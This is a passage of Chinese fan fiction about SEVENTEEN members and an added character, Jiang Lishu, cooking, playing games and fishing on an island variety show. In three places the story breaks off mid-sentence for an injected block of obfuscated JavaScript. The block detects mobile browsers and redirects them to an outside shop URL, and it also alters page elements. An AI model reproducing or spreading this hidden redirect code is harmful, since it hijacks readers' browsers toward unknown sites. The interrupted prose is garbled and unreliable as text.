“啊!!!——hiong!”权顺荣难得被吓得一颤,这下连心虚都忘了,嘟嘟囔囔就开始抱怨姜里树吓到自己,反过来还要姜里树抱住他安慰。 自从练习生时期那次不小心吓到李硕珉之后,姜里树注意着已经有很久没再用眼神“吓”过弟弟们了——这次,他是故意的。 “绝对不可以拿自己的身体健康去和成员们开玩笑。”他一边说,一边任由权顺荣抱住自己,却用手指轻轻抵住对方凑近的脑袋,另一只手从口袋里掏出纸巾,擦掉他鼻子下那抹“血浆”。借着昏暗的光线,姜里树皱了皱眉:“你看,沾到辣酱的皮肤都红了。” “米亚内,胜宽啊~”权顺荣这回总算如愿抱住了刚刚“凶”了他的哥哥,在姜里树怀里闷着声音,对一脸担忧的夫胜宽道了歉。 “米亚内,hiong~”他又把脸埋进姜里树怀里,小声补了一句。 “哎一古,还好没事,真的吓到我了。”夫胜宽看权顺荣是真的没事后放下了心。 姜里树轻轻揉了揉小老虎的脑袋,又拍了拍他的肩。 这时,被权顺荣那声惊呼引来的崔胜澈也摇摇晃晃出现在屋门口,睡眼惺忪地问:“怎么了?发生什么了?” “没事,”姜里树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205977|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静地答道,“孩子们被虫子吓到了,已经飞走了。” “好啦,既然你也出来了,就一起帮孩子们做泡菜吧。”姜里树还搂着权顺荣,心情愉快地朝崔胜澈发出邀请。 “莫拉古?”崔胜澈眨了眨眼,难道自己是被“骗”出来干活的吗? 做泡菜的人一下子又多出好几个。姜里树和崔胜澈加入后,洪知秀闻到辣酱的香味也寻了出来,带上手套一起帮忙。 大家边做边尝,睡前肚子里又装了不少泡菜。快手快脚做完,一个个溜回被窝,继续刚才没做完的梦。 第二天清晨,出海钓鱼组和采集藤壶组穿戴整齐,被崔胜澈和姜里树、金珉奎一路送到码头边。 “我也想去钓鱼……”姜里树望着孩子们头也不回、兴奋登船的背影,小声嘟囔。 他昨晚自愿报名出海的请求,被弟弟们联手驳回了。一来他从没钓过鱼,怕他在船上伤着自己,留在家也能好好休息一下;二来这次出海情况未知,还是让会钓鱼的文俊辉带头先去探探路比较稳妥。 还在犹豫要不要干脆就待在码头等孩子们回来的姜里树,被崔胜澈和金珉奎一左一右架起来,不由分说地带了回去。成员们让他在家休息,不是让他在码头当“望夫石”的。 休息不成了,从随行摄像师那儿得知出海的孩子们中午不回来吃饭后,在家的几个孩子又派他们三个接着出去找鸡蛋。 这会儿三个人空手而归,站在院子里和其他人面面相觑,这回是真没辙了。 没吃的,这下总算可以去钓鱼了吧!姜里树刚浮起这个念头,就看见李灿抱着之前游戏赢回来的大南瓜,笑眯眯地朝他走来。 啊—— 姜里树认命地闭上眼睛,伸手接过南瓜,让李灿去把面粉拿出来。 一整个南瓜处理起来可不容易。金珉奎和李灿见状也凑过来帮忙削皮,崔胜澈看姜里树又被“困”在厨房,笑着带上其他几个孩子出门钓鱼去了,连一向不喜欢腥味的全圆佑也跟着钓鱼组出发了。 家里便留给了尹净汉和姜里树照看。 会做饭的本来人就不多,会和面的那就更少了,留下了三分之一的南瓜金珉奎抱去做南瓜粥了,姜里树开始把煮熟的南瓜捏成南瓜泥和面粉混在一起,南瓜多面粉少所以南瓜饼的南瓜味就特别浓郁,单独几个做成烤饼,剩下的厨具有限烙出来,这些年他没研究别的就研究怎么吃来着。 南瓜煮熟的香气渐渐飘满院子。尹净汉闻着味道便黏到姜里树身边,虽帮不上忙,却也安安静静地贴着他,看他用锅铲翻动锅里的南瓜饼。松软金黄的饼子一个个出锅,叠在盘中,热乎乎地冒着香甜的蒸气。姜里树用筷子串起一个递给他。尹净汉接过来,笑得眼睛弯弯的,一边呼呼吹气,一边撕成小块慢慢吃,还不忘时不时喂姜里树一口。 另一边,金珉奎的南瓜粥也开始咕嘟咕嘟翻滚起来。整个院子都弥漫着南瓜温润的甜香,引得人食欲大开。 而有些时候,饭做着做着,身边就没人了,比方说现在,姜里树再抬头的时候,面前的院子里就只剩下他一个人翻着南瓜饼,连做南瓜粥的人也不见了,只剩那口锅子在小火上咕嘟咕嘟的保温着。 听见声响的他转头去看,就见尹净汉正带领着孩子们抱着颜料桶出现,准备在那面洁白的墙壁上作画。 姜里树吃着南瓜饼,坐在木桌台沿上看孩子们画画。颜料调得倒挺好看。 没过多久,崔胜澈带领的捕鱼小队也回来了,收获不小,青花鱼和针鱼都有。崔胜澈凑过来,叼走他手上掰开的那半块饼,也凑到绘画组旁边看了起来。 南瓜饼搭配烤鱼和南瓜粥让孩子们吃的饱饱的,身上也暖和了起来。待到所有人吃饱喝足后,真正的休息时光才算开始。在家的人全挤进了一间屋子,横七竖八地躺了下来,安逸的享受时光。 38. 38.可以去钓鱼了? 短暂休息后,出海的孩子们也终于回来了。崔胜澈琢磨着去一趟白天带他们钓针鱼的那位叔叔家,去取点菜回来。 “里树啊,我带孩子们去摘点菜,刚刚那位带我们钓鱼的大叔说他家菜园里有萝卜可以采。”崔胜澈靠过来,贴着姜里树说道。 “好啊,记得先跟主人家打声招呼再动手啊。”姜里树拽着崔胜澈的手,顺着他的力道一起站起身,“我去看看家里还有什么别的食材。” 崔胜澈带着全圆佑和李硕珉出发去取菜。姜里树则开始清点剩下的食材:南瓜粥喝完了,南瓜饼还有一些,米还剩下不少……或许晚上可以配着夫胜宽腌的泡菜一起吃。 他一边盘算着晚餐菜单,一边把要用的食材一样样摆到厨房台子上。 ‘我怎么又开始做饭了?我前面两章好像唯一的工作就是一直在做饭?’ 姜里树盯着手底下正在处理的食材,忽然开始怀疑自己来这个节目的目的。 不知道的是门外的金珉奎在踩翻水盆后,也给自己气笑了,叽里咕噜地念叨起来:“来了之后一天到晚就是起床找食材做饭找食材做晚饭睡觉……” 崔胜澈看着金珉奎的背影,也听见小狗在嘟囔囔说了一大串后,跟着吐槽了一句:“一天到晚,不是钓鱼就是找食材。” “光是准备一日三餐一天就过去了!”越说自己的火气也起来了。 想是这么想,说是这么说,可是为了大家能顺利吃上晚饭,也都匆匆忙忙的开始准备晚饭。 属于世纪难题之一的晚餐解决后,姜里树见没什么事,便又窝回那个熟悉的墙角。地板还留着些许余温,身旁是软软堆起的被褥,刚吃过大量碳水的他,昏昏沉沉地垂下头,因为带着崔胜澈的红色鸭舌帽,灯光也被更好的遮盖住,不知不觉就睡着了。就连后来孩子们因被褥毛巾等个人内物问题引发的夜谈,也没能吵醒他。 他抱着胳膊,缩在被子与墙壁之间,头越垂越低。谁也没发现他已睡熟,直到崔胜澈往后一靠,倚在摞起的被褥上,叠好的被子随之缓缓倾斜,一点一点的把自己团成一团的姜里树彻底盖住。 在摄像头的注视下,姜里树就这样悄无声息地,消失在了角落的被子堆里。 连渔村股长再次到来发布新任务时,孩子们起身打招呼的动静才将他吵醒。他连忙跟着站起,朝股长问好。听到对方让大家坐下听任务,他又默默缩回角落,抱住双腿。 崔胜澈听见身后窸窣的声响,扭头一看,这才发现被埋在被褥里的姜里树。他眨了眨眼,又把头转回去,继续听任务发布。 所以他和珉奎、净汉三个人刚刚从两个方向一直把姜里树压在了背后吗?难怪金珉奎还说被褥怎么靠着都不塌还怪舒服的…… 渔村股长发布了明天的工作安排:五名成员需要前往鲍鱼养殖场,三名成员则继续出海去钓琥珀鱼。 但这次有所不同——去鲍鱼养殖场的成员需要在那边待上两天一夜,意味着鲍鱼队将在养殖场过夜。 任务宣布完毕,渔村股长便离开了。至于人选,依然是交给孩子们自己决定,他们只负责明天带人去工作。 姜里树刚要举手报名去钓鱼,渔村股长却去而复返,补充道:“制作组请大家现在去村会馆集合。” 出发前,崔胜澈和同样也发现了姜里树的尹净汉合力把他从被褥堆里“救”了出来。 “哎一古,你怎么一声不响地躲在这里头啊?”崔胜澈笑着问。 “晚上碳水吃多了,不小心睡着了……”姜里树揉揉酸涩的眼睛。 “闹木kiyo啊~wuli里树~”尹净汉牵着姜里树的手,小心的帮他看着脚下的路,跟在崔胜澈身旁,和孩子们一起朝制作组所说的村会馆走去,估计一会儿又有什么游戏或任务在等着他们。 到了村会馆,孩子们在像教室一样的房间里排排坐好。尹净汉还牵着姜里树暖乎乎的手,像揣着个暖宝宝似的把他的手藏在怀里。姜里树被他拉近些,这会儿正带着困意,轻轻靠在尹净汉肩上。 “里树明天想去哪儿?”尹净汉小声问他。 “我想去钓鱼,已经想去好久了……”姜里树带着点抱怨的撒着娇,脑袋蹭了蹭尹净汉的肩膀。 这次,他一定要出海去钓鱼! “啊啦搜~”尹净汉也用脑袋回蹭了姜里树毛茸茸的脑袋。 节目组这次准备的奖品是零食和水果。尹净汉和权顺荣被选为本次游戏的MC。 尹净汉离开了座位,姜里树身边便空了下来,为了紧凑队伍他挪了挪,贴到崔胜澈旁边坐好,等着MC宣布游戏规则。 看着尹净汉MC为了模仿洪知秀的动作而变得搞笑起来的气氛,姜里树这会儿笑得彻底清醒了过来。 第一关是“问题与答案”,感觉和之前在码头玩的差不多。姜里树被徐明浩选中,成为下一个要回答问题的人。 “SEVENTEEN成员中,谁最接近你理想中的另一半……?” 耶咦?这是什么问题?这怎么看都明显是节目组塞进来的。姜里树疑惑地问制作人nim:“是指哪个方面吗?” “哎——?!”孩子们听到题目立刻开始起哄。 “什么都可以。”制作人给了个模棱两可的回答。 “……”姜里树扭头扫视一圈,不知不觉间,好几个成员已经悄悄挺直了背。那他是不是可以多选几个?于是,他当着节目组的面,把所有人的名字都报了一遍,主打一个一碗水端平。 “安怼!安怼!!”吓的制作人nim连连挥手阻止姜里树堪称作弊的行为,没办法只能帮他选择一个方向让他回答。 “从性格方面回答吧。” “性格啊……”姜里树摸了摸下巴思索了一会儿,才缓缓开口回答道:“胜澈,净汉,知秀。” “哎?一下说了三个名字!” “为什么啊?” ‘因为如果他在家里干了坏事,他们三个会给他背锅的。’这话当然不能就这么说出来,会出大事的。 除了点到名字已经满意仰头的三个人,其他成员都一脸失望的看着姜里树的背影。 “那是下一个问题了。”姜里树在嘴上比了个叉,笑着避开追问,快快的点了下一个回答问题的人后,顶着那三个人好奇的注视和其他孩子们哀怨的目光挪回了队伍里。 轮到尹净汉回答问题时,他缓缓展开手中的纸条,轻声念出问题:“如果净汉去鲍鱼场,会带哪四名成员?” 话音落下,房间里瞬间安静了一秒,紧接着所有目光齐刷刷地聚焦在他身上。这个问题像一颗投入平静水面的石子,激起了层层涟漪。每个人都屏住呼吸,等着听他会说出哪四个名字。 尹净汉的目光在成员们之间来回移动,显得有些犹豫不决。夫胜宽在一旁轻声提醒:“没被选中的成员可能会失望哦。”于是他提议让尹净汉站到队伍后面,大家闭上眼睛,再由他亲自来挑选。 所有人顿时安静下来,满怀期待地闭上眼睛低下头,像一群等待被点名的学生。 姜里树也低着头,在一片寂静中,他能清晰地听见尹净汉的脚步声在自己背后短暂地停顿了一下,随后又逐渐走远。说真的,这种时刻还能保持心跳平稳,已经算是他定力惊人了。 姜里树隐隐感觉到自己想去钓鱼的愿望,似乎离实现又近了一步! 最终,尹净汉选定了洪知秀、李硕珉、崔胜澈、夫胜宽,都是他“心里想带去鲍鱼养殖场”的人选。 “什么啊——”李知勋看着这四个名字,愣了两秒才反应过来,不可置信地瞪大眼睛,“居然选了Vocal队里除我以外的所有人?!”他气得举起水瓶猛灌几口,脸颊都微微鼓了起来。 “啊呀!”尹净汉被他这么一喊,才后知后觉地意识到问题所在,立刻心虚地缩了缩肩膀,眼睛眨巴眨巴地望着自家小队长。 确实,Vocal队除了队长李知勋,其余成员全在名单上。姜里树在一旁看着尹净汉那副“闯了祸又试图装乖”的表情,忍不住低头笑出了声。 听着被众人围在中间的尹净汉,匆忙慌乱的解释选了他们几个的原因。 和Vocal队里唯一没被选中的李知勋一样,95line里同样没被选中的姜里树,是没被选中的人员里笑得最开心的那个。因为比起去养殖场,他还是想去钓鱼,而且尹净汉带着队长崔胜澈和同样是95line的洪知秀,出门的孩子们他可太放心了。 所以能当天回来看顾在家的孩子们,还能让他完成心愿的就是出海钓鱼。 轮到忙内李灿抽题时,问题简直“得罪人”到了极点,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205978|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人都站了起来,等着他们的灿尼做出“外貌评选”。 姜里树搂着徐明浩的腰,趴在他背后,忍不住在心底为自家忙内默默点了根蜡。弟弟们虽然不像95line的哥哥们那么“记仇”,但让这位懵懂单纯的忙内吃点“小亏”的能力,还是绰绰有余的。 他们忙内在哥哥们的身上那是吃一堑长一智吃一堑吃一堑吃一堑……越来越贪吃了呢这孩子。 游戏结束,该回去休息了。村会馆外的行李箱,成了继零食福袋之后最大的惊喜。 姜里树也惊喜地看着自己的黑色行李箱——里面装着的,才是真正没带上的“秘密”啊! 这些行李箱是节目组给孩子们的奖励,连带着他们的经纪人们也随着行李箱惊喜现身。 那天在码头的“分别”,此刻想来还历历在目,孩子们的尖叫声从惊喜立马过渡到了“熊熊怒火”。 “你们居然还敢踏足这个岛屿!!!” “这不是你们能来的地方!!!” “没有我们!你们休息的好吗!!!!!” Seventeen的孩子们七嘴八舌的谴责着当初“抛弃”他们的经纪人们。 看到孩子们还是气鼓鼓的模样,节目组赶紧出来解释,经纪人们其实一直留在岛上,只是被要求“强制禁闭”,躲开了大家的视线,但始终陪伴在身旁。 听到制作人这么说,所有人都惊讶地望向经纪人们。毕竟,为了躲开他们,经纪人也藏得相当辛苦了呢。 但这不是他们那天开心拖着他们行李箱离开的理由啊!!! 姜里树忽然想起他们抵达第一天,权顺荣推开的那间特别像民宿的空屋子。他猜测,经纪人们大概就藏在那里。 那个位置选得确实巧妙,既不会出现在他们每天钓鱼的必经之路上,又能悄悄守着他们。 “所以我们回去吧!”崔胜澈领着孩子们返回民宿。这次拿回了行李箱,说不定真能过上名副其实的“美好的一天”了。 回到住处后,大家都没有急着洗漱休息,而是换好衣服,集体围坐在一间房里讨论明天出海工作的人选。 最终决定:鲍鱼养殖场由尹净汉带队,队员是全圆佑、洪知秀、李灿和徐明浩;而出海钓鱼的队伍则由崔胜澈带领,带上同样会钓鱼的李知勋,以及被尹净汉特意从角落里“挖”出来的姜里树。就是因为姜里树说过想去钓鱼,两次选择队员去养殖场,尹净汉才没有带上他。 “那么剩下的人,就在家里睡醒了起来收拾屋子吧。”李知勋拍拍手对剩下在家的人说道。 既然安排好了明天的一切,那么,接下来就是好好休息的时间了。 各回各屋准备睡觉前,姜里树皱着眉拉住尹净汉的手腕,指尖轻轻碰了碰他的胸口:“还好吗?现在还痛不痛?” 在村会馆时,尹净汉为了活跃气氛,模仿洪知秀的动作,整个人胸口腾空四五十厘米,重重砸在地板上。更别提转圈时那一下结结实实的摔坐,怎么可能不痛?姜里树当时就看见他起身时悄悄揉了揉胸口,还疼得轻轻龇了下牙。 “哎一古,我们里树别皱眉呀~看得我心口都痛起来了~”尹净汉还是笑着安慰满脸担忧的姜里树,语气轻快,“已经没事了哦~” 他始终没说还痛不痛,只顾着先来安抚他。 “?”尹净汉好奇的看着姜里树往他口袋里塞了个东西。 “这个你拿着,明天好好给自己和孩子们买点好吃的……”姜里树用手遮住两人胸口的麦克风,凑到尹净汉耳边轻声说。 “哎?钱包不是被收走了吗?”尹净汉也压低声音,乖乖配合。 “是我藏在行李箱底下的夹层里的~” “哇~wuli里树真是太厉害了!”尹净汉眼里漾着温柔的笑意,伸手揉了揉姜里树的脸颊摸摸耳垂。 “怎么感觉你在哄小孩?” “wuli里树不可以是我的小孩子吗?”尹净汉反问道。 “你的孩子不是灿尼吗?” “哎一古,不是那个意思啦~”尹净汉笑着狠狠揉了一把姜里树的头发,没再多说,转身就朝房间走去,脚步快得像生怕姜里树追上来问他还痛不痛。 “……所以到底是什么小孩子?”姜里树歪着头,疑惑地望着尹净汉匆匆离开的背影。 39. 39.鱼! “大海啊!我来啦!!!” 就算是风起浪大也抵挡不住姜里树热切的钓鱼之心。 送走前往鲍鱼养殖场的孩子们后,崔胜澈带着李知勋和姜里树,终于踏上了出海钓鱼的船。 李知勋和崔胜澈一左一右站在姜里树身后,悄悄拽着他的衣角,生怕一个浪头打来,船身一晃,就把人给掀下去了。 出发前,船长曾提醒过,今天风浪太大,能不能钓到鱼还不一定。但崔胜澈和李知勋谁也没打算浇灭姜里树眼里那簇亮闪闪的热情。至于能不能钓到鱼,全凭天意吧。 “大海啊!我不太好啊——” 姜里树看着空空如也的渔网,跪趴在甲板上,想哭哭不出来。风浪实在太大,船身摇晃得根本无法钓鱼,那就退一步撒网吧,结果除了海螺什么都捞不到。 船长大叔乐呵呵地看着姜里树失落的样子,给他们发来了“安慰奖”,福袋里装着酸奶和几个煮熟的鸡蛋。 这时候姜里树刚剥好一个鸡蛋,就听见崔胜澈一声惨嚎,吓得他差点把手里的蛋扔出去。抬头一看,原来是崔胜澈的蛋黄掉在了甲板上,正对着它一脸悲伤。眼看崔胜澈弯下腰要去捡那个蛋黄,姜里树还以为他要扔掉,结果却见他捏着蛋黄就要往嘴里送。 姜里树惊恐地一步上前,把自己手里完整的一颗鸡蛋直接塞进了他嘴里,生怕慢一秒,崔胜澈就要把那颗从甲板上捡起的蛋黄吞下去。 崔胜澈光是盯着那颗掉在甲板上的蛋黄看了可不止三秒,难道他已经“超进化”到能免疫细菌了?! “这个给我,我拿来钓鱼!”姜里树眼疾手快地捂住崔胜澈的嘴,断了他要把脏蛋黄塞进嘴里的念头。 崔胜澈嘴里还含着那颗完整的鸡蛋,吐不出又没办法嚼,只能连连点头,赶紧把蛋黄塞到姜里树手里,就盼着他快点放开捂着自己嘴的那只手,那感觉就像嘴上戴上了个暖宝宝一样。 这边的海浪还未平息,家里的孩子们正琢磨着怎么给自己弄点吃的,而前往养殖场的孩子们则开启了超市“大采购”模式。 “hiong!会不会拿太多了?我们……没有钱啊?”李灿看着尹净汉怀里越堆越高的零食,小声提醒。 “哎一古,放心啦~快去拿自己想吃的,过时不候哦!”尹净汉笑得神秘兮兮的,轻轻推了推担忧的忙内。 “好吧……”终究抵不住零食诱惑的李灿,还是开心地去挑选了。 等到结账时,尹净汉在孩子们和随行摄像师惊讶的目光中,淡定地掏出一张十万韩元。 “?!!!” “里树给的,出发前我才发现他塞在我这儿的是钱。”尹净汉笑眯眯地解释。 “哇——大发!” “谢谢里树hiong~!” “所以快点回车上吃掉,”尹净汉压低声音,“里树说,尽量在车上就吃掉,免得到了地方被收走,毕竟这不算‘劳动所得’嘛。” 孩子们也小心翼翼的点点头。 镜头转回波澜起伏的海面。风浪稍缓,船长将船驶向山的另一侧。这里海风被山体阻挡,船身平稳了许多。姜里树也在船长的示意下,终于开始了心心念念的钓鱼。 可越钓越不对劲,他从一开始的单手持竿,变成双手紧握,却还是死活拉不上来。现在甚至一脚踩上船边围栏,整个身子拼命向后仰着。 “救命!!!——这不太对啊,真的是我在钓鱼,不是鱼在钓我吗!??”姜里树赶忙朝船另一头的崔胜澈和身后的李知勋喊道。 “船长大叔!救命——!”三个孩子齐声呼救。崔胜澈还想着这该不会是鱼钩卡在珊瑚上了吧? “哎一古!”船长大叔闻声从船舱驾驶室里赶来,看到姜里树和崔胜澈正使劲拽着鱼竿,立刻上前帮忙稳住。 一阵僵持后,那条神秘大鱼终于力竭,被船长大叔和崔胜澈合力拉了上来,竟然是一条目测约一米长的黄条鰤。 “真是不得了啊,后辈!”船上的人都围上来看着这条又大又肥的鱼,船长大叔拍了拍还在发愣的姜里树,笑着和他解释说,“这种鱼通常喜欢温暖水域,这个季节大多在深海活动,这条可能是落单了……总之,后辈运气真的很不错啊!” 最终也算是满载而归。回到岸边,船长大叔用他精湛的刀工现场制作了一道黄条鰤刺身。姜里树不吃生食,品尝的机会自然留给了崔胜澈和李知勋。 冬季的黄条鰤最为肥美,鱼油丰沛,无论是刺身、烧烤还是煮汤都极为鲜美,是韩国冬季顶级的海洋珍馐,口感肥嫩而不腻,甚至比三文鱼还要柔润饱满。 第一口下去,崔胜澈和李知勋的眼睛瞬间亮了起来。仅仅蘸着酱油,那滋味就远超他们第一天吃的海鲜大餐。 船长大叔把便当递给他们。姜里树邀请他一起品尝刺身,大叔却摆摆手,只是慈祥地望着他们,这次依旧如上次出海,让孩子们把所有收获都带回去。 姜里树与崔胜澈、李知勋商量后,决定将这条一米多长的黄条鰤分一部分给大叔还有一部分海螺,不然他们三个根本带不回这么多水产。大叔笑呵呵地收下了孩子们的心意,随后便离开了。 吃着丰盛的刺身和便当,还顺便心灵感应了一下去鲍鱼养殖场的孩子们有没有好好吃饭。 姜里树和崔胜澈一起抬着那条大鱼,李知勋则背着些鱼和海螺,在留守孩子们的欢呼声中回到了民宿。 趁着黄条鰤还新鲜,姜里树让金珉奎给自己和其他孩子们做刺身加餐,晚些时候再由他来料理烤鱼和鱼汤,行李箱还回来了里面的佐料还好都在。这么大一条鱼,正好把各种吃法都尝个遍。 夜色降临得比想象中更快。白天听说姜里树晚上要做鱼的孩子们,早就开始盼着天色暗下来。 姜里树从行李箱里取出一个黑色盒子,上面用韩语标着“易碎品”,摇晃起来叮当作响,想来也正是这样才瞒过了检查行李的staff。其实里面装的全是各种调味料。 拆开盒子,姜里树便开始了他的料理。很快,烤鱼那焦脆的外皮与雪白肥润的内里逐渐成形,撒上细盐与少许胡椒,海风般的鲜气随热气袅袅升起。另一口炉灶上,奶白的鱼汤在锅中咕嘟翻滚,鱼肉嫩得几乎要化开。姜里树盛出两碗,递给旁边帮忙生火的崔瀚率和辛苦劈柴的文俊辉,暖意顺着碗沿一路熨帖到胃里。 “哇~好好喝!”文俊辉抿抿嘴唇,眼睛亮晶晶地望向姜里树。 姜里树笑着点点头,又给他添了一块鱼肉:“先垫垫肚子。” 烤鱼已经叠了好几层,接下来是煎鱼。鱼排在热油中嗞嗞作响,黄条鰤的边缘渐渐泛起漂亮的金黄色。崔瀚率和文俊辉还在小口喝汤,姜里树便给帮厨的李硕珉也盛了一块。一口下去,外酥里嫩,满口都是海洋的鲜甜。 “哇——大发!”李硕珉一边嚼着一边用力点头,连连竖起拇指。 那么多水产,姜里树索性多做了些,连还在拍摄的节目组制作人员和摄像师们也一一分到。尝到热腾腾的美味,大家的脸上都不自觉漾开了笑意。姜里树悄悄想,希望这份因食物而生的好心情,也能顺着海风,飘到另一座岛上,让那边的孩子们,也能过得顺利、开心一些。 吃人嘴短,节目组的工作人员们也就默许姜里树的这些瓶瓶罐罐留下来了。 大家回到屋里享用大餐,几乎没人顾得上说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205979|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都在埋头品尝着鲜嫩的鱼肉与热腾腾的鱼汤。 “哇——太美味了——”晚上金珉奎又做了一份鲜鱼刺身,因为下午那份吃得意犹未尽,干脆再切了一份。 “叮铃——”李硕珉的手机响了起来,是鲍鱼队发来的视频通话。 “你们吃晚饭了吗?”屏幕那头出现了尹净汉漂亮又带了点疲惫的模样,像朵花一样出现在了屏幕里。 “哦!正在吃呢!里树哥他们今天钓到了超级大的鱼!”李硕珉把镜头转了一圈,展示桌上姜里树、金珉奎等人联手打造的全鱼盛宴。 “亲加?!”鲍鱼队看着屏幕上煎、烤、煮、刺身样样俱全的料理,顿时觉得手里的炸鸡好像没那么香了。 “里树啊!我也要吃!”尹净汉对着手机屏幕喊道。 “我们也要!!!”电话那头传来一片附和。 “等你们回来就给你们做。”被点名的姜里树咽下嘴里的鱼汤,轻声回应。 “安怼!他们可是背着我们在吃炸鸡啊!”要不是桌上还摆着饭菜,崔胜澈这会儿已经跳起来。 “才不听你的呢,里树说了要给我们做的。”将在外,君命有所不受,尹净汉这会儿才不理会崔胜澈的“抗议”。 “安怼!”崔胜澈不乐意地拽了拽姜里树的衣领,试图让他改变想法。姜里树默默将夹着鱼肉的筷子移开,以免掉到榻上。 “可是等他们回来再做一次,大家不就又能吃上一顿全鱼盛宴了吗?”姜里树平静地拍拍快要倚进自己怀里的崔胜澈,试图让他也平静下来。 “……”好像有点道理。崔胜澈在姜里树无奈的目光中“若无其事”的松开了他的衣领,坐回自己的位置,继续埋头吃起来。 姜里树看他挪了回去,这才收回筷子,上面夹的鱼肉早就不见了。他扭头看了看身旁的徐明浩,伸手揉了揉那颗藏不住心虚的小猫脑袋,又给他添了块更大的鱼肉。 说好等鲍鱼队回来再为他们做一次全鱼盛宴,这场“跨海谈判”才算告一段落。挂电话前,作为帮厨之一的李硕珉不忘追加条件:“我们也要吃炸鸡!” 鲍鱼队那边也爽快答应。双方达成“协议”,通话这才结束。 只是没想到,鸡是来了,却是一只没穿衣服的咕咕鸡。在权顺荣的尖叫声中,姜里树唯一庆幸的是:还好不是只活鸡,否则处理的过程,恐怕会让他留下很久的心理阴影,虽然这会儿权顺荣已经开始产生心理阴影了…… “……要不要留着明早做成鸡汤?”在孩子们“愤怒质问”的背景声中,文俊辉提议道。 “可是我不吃白斩鸡……”权顺荣说这话时有点低落。他家从前经营过养鸡场,所以对小动物感情很深,连带着对没穿衣服的鸡肉也下不了口。 “那就一盒做成鸡汤,一盒做成炸鸡好了。”姜里树看了看两盒鸡肉:一盒是两个手枪腿,另一盒是鸡翅和琵琶腿,“顺荣如果不吃白斩鸡,鸡汤总可以喝吧?我会把胜澈之前摘的萝卜放进去,早晨给你做成鸡汤拉面,再配点煎鱼,味道应该也不错。” “hiong~”权顺荣心里软软,感动的去抱住姜里树,这样一来,鸡汤和鸡肉大家都能吃到,他也能如愿吃上炸鸡了。 炸鸡的任务交给了金大厨和李大厨,姜里树便先去休息了,明早还得早起熬鸡汤。这回该他枕着崔胜澈了……差点忘了,崔胜澈这会儿正在院子里等着吃炸鸡呢。真是的……这都养成什么习惯了,现在怀里不抱着点东西还真的睡不着。 “唉——”姜里树长长叹了口气,把崔胜澈的枕头搂进怀里,这才真正睡去。至于第二天醒来怀里抱着的还是不是枕头……那就到时候再说吧。 40. 40.最后一晚 清晨,大家是被浓郁的鸡汤香气唤醒的。第一个起床的文俊辉打开门,只看到灶上有一锅用小火温着的鸡汤,并没有看见姜里树的身影,掀开锅盖,里面是撕成细条的软烂鸡肉,还有随汤翻滚的萝卜块。旁边木桌上还搁着备好的面条,一旁是用余温保温的煎鱼,还有一张字条。 上面写着: 米亚内啊,顺荣!没办法给你做鸡汤面了。 明浩生病了,要带他去医院,我不放心所以就跟着一起去了。 没来得及通知胜澈,看到便签的孩子叫他别担心,有我在。 等我们回来会给你们做好吃的! 文俊辉读完纸条,迷茫地看了看四周,发了一会儿呆。然后他拿起面条,下个面而已,很简单的,他也可以帮忙完成里树哥的承诺。 今天清晨,姜里树起得格外早,因为昨晚答应了要给孩子们炖鸡汤。刚擦干手,就看见徐明浩踉踉跄跄从屋里出来,一声接一声地闷咳,沉重的呼吸声把他吓了一跳。 姜里树快步走到徐明浩身边,伸手摸了摸他的额头,即使在寒冷的冬天,那温度也烫得灼人。 “里树哥……我不太舒服……” “明浩啊!你在发烧!”姜里树扶着他坐下,转身冲进屋里翻出退热贴和退烧药,又匆匆写了张便签。喂徐明浩服下药后,他把便签压在木桌上,便搀起弟弟往外走。 “明浩!到我背上来!”姜里树在徐明浩面前蹲下,将他稳稳背起,快步朝经纪人所在的方向跑去。 船上,姜里树紧紧抱住又开始冷得发抖的徐明浩,看着他昏昏沉沉难受的模样,心里满是自责。为什么没有早点发现?明明昨晚吃饭时还好好的,他为什么没有再多关注一下弟弟们…… 经纪人也被姜里树的情绪感染,跟着焦急起来。船一靠岸,他们便迅速赶往最近小岛上的医院。姜里树一把背起徐明浩就往里冲,声音带着急切:“医生!护士!我弟弟发烧昏迷了——” 医护人员反应很快,立刻从姜里树背上接过徐明浩。经纪人忙着办理手续,姜里树则寸步不离地守在徐明浩身边。 “就医很及时,等烧退下去就好了。有点炎症,吃点消炎药就好。”医生说完,又忍不住责怪起姜里树来,“你弟弟体质单薄,看起来就是容易生病的类型,平时是不是经常过度劳累?要好好照顾弟弟啊。” 医生看着姜里树低着头听他说话的样子,拍了拍这位同样清瘦的青年,没再多说什么便离开了。 这时,经纪人办完手续匆匆赶来:“明浩怎么样?医生怎么说?” “医生说等烧退了就好,有点炎症,吃些消炎药就行……” 